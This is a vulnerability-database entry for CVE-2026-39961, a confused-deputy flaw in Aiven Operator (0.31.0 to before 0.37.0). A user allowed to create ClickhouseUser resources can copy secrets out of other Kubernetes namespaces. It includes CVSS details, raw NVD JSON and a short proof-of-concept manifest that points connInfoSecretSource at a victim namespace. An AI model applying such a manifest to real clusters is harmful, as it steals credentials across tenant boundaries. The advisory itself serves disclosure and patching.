Security Vulnerability Report
中文
CVE-2026-39961 CVSS 6.8 MEDIUM

CVE-2026-39961

Published: 2026-04-09 18:17:02
Last Modified: 2026-05-13 16:06:01

Description

Aiven Operator allows you to provision and manage Aiven Services from your Kubernetes cluster. From 0.31.0 to before 0.37.0, a developer with create permission on ClickhouseUser CRDs in their own namespace can exfiltrate secrets from any other namespace — production database credentials, API keys, service tokens — with a single kubectl apply. The operator reads the victim's secret using its ClusterRole and writes the password into a new secret in the attacker's namespace. The operator acts as a confused deputy: its ServiceAccount has cluster-wide secret read/write (aiven-operator-role ClusterRole), and it trusts user-supplied namespace values in spec.connInfoSecretSource.namespace without validation. No admission webhook enforces this boundary — the ServiceUser webhook returns nil, and no ClickhouseUser webhook exists. This vulnerability is fixed in 0.37.0.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:aiven:aiven_operator:*:*:*:*:*:*:*:* - VULNERABLE
Aiven Operator >= 0.31.0, < 0.37.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
apiVersion: aiven.io/v1alpha1 kind: ClickhouseUser metadata: name: exploit-poc namespace: attacker-namespace # Namespace where the attacker has access spec: # Reference to a secret in a restricted/target namespace (e.g., production) connInfoSecretSource: name: target-secret-name namespace: victim-namespace # Vulnerable field: Operator trusts this blindly project: dummy-project serviceName: dummy-service # Additional fields might be required for schema validation depending on exact version

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39961", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:02.053", "lastModified": "2026-05-13T16:06:00.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Aiven Operator allows you to provision and manage Aiven Services from your Kubernetes cluster. From 0.31.0 to before 0.37.0, a developer with create permission on ClickhouseUser CRDs in their own namespace can exfiltrate secrets from any other namespace — production database credentials, API keys, service tokens — with a single kubectl apply. The operator reads the victim's secret using its ClusterRole and writes the password into a new secret in the attacker's namespace. The operator acts as a confused deputy: its ServiceAccount has cluster-wide secret read/write (aiven-operator-role ClusterRole), and it trusts user-supplied namespace values in spec.connInfoSecretSource.namespace without validation. No admission webhook enforces this boundary — the ServiceUser webhook returns nil, and no ClickhouseUser webhook exists. This vulnerability is fixed in 0.37.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiven:aiven_operator:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.31.0", "versionEndExcluding": "0.37.0", "matchCriteriaId": "C5AF06D3-28FA-443E-9DFC-D2212C1434E6"}]}]}], "references": [{"url": "https://github.com/aiven/aiven-operator/commit/032c9ba63257fdd2fddfb7f73f71830e371ff182", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aiven/aiven-operator/releases/tag/v0.37.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/aiven/aiven-operator/security/advisories/GHSA-99j8-wv67-4c72", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}